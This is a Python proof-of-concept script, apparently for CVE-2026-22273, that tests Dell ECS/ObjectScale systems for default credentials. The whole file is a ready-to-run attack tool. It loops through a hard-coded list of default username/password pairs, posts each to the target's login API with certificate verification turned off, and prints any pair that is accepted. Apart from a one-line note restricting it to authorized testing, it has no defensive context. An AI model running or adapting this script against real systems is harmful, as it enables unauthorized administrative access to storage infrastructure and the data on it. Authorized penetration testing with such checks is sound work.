#!/usr/bin/env python3
"""
CVE-2026-22273 PoC - Dell ECS/ObjectScale Default Credentials Check
Note: This is for authorized security testing only
"""
import requests
import sys
from typing import List, Tuple
# Default credentials to test (commonly found in Dell storage systems)
DEFAULT_CREDENTIALS: List[Tuple[str, str]] = [
("admin", "password"),
("admin", "admin"),
("root", "calvin"),
("administrator", "password"),
("ecsadmin", "ecsadmin"),
("objectscale", "objectscale"),
("support", "support"),
("diag", "diag")
]
def check_default_credentials(target_url: str) -> dict:
"""
Check if target Dell ECS/ObjectScale instance uses default credentials
"""
results = {
"target": target_url,
"vulnerable": False,
"valid_credentials": None,
"message": ""
}
# Test API endpoint for authentication
auth_endpoint = f"{target_url.rstrip('/')}/api/v1/login"
for username, password in DEFAULT_CREDENTIALS:
try:
response = requests.post(
auth_endpoint,
json={"username": username, "password": password},
timeout=10,
verify=False
)
if response.status_code == 200:
data = response.json()
if data.get("status") == "success" or "token" in data:
results["vulnerable"] = True
results["valid_credentials"] = {"username": username, "password": password}
results["message"] = f"Default credentials found: {username}:{password}"
return results
except requests.exceptions.RequestException:
continue
results["message"] = "No default credentials found or target not accessible"
return results
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve_2026_22273_poc.py <target_url>")
sys.exit(1)
target = sys.argv[1]
result = check_default_credentials(target)
print(f"Target: {result['target']}")
print(f"Vulnerable: {result['vulnerable']}")
print(f"Message: {result['message']}")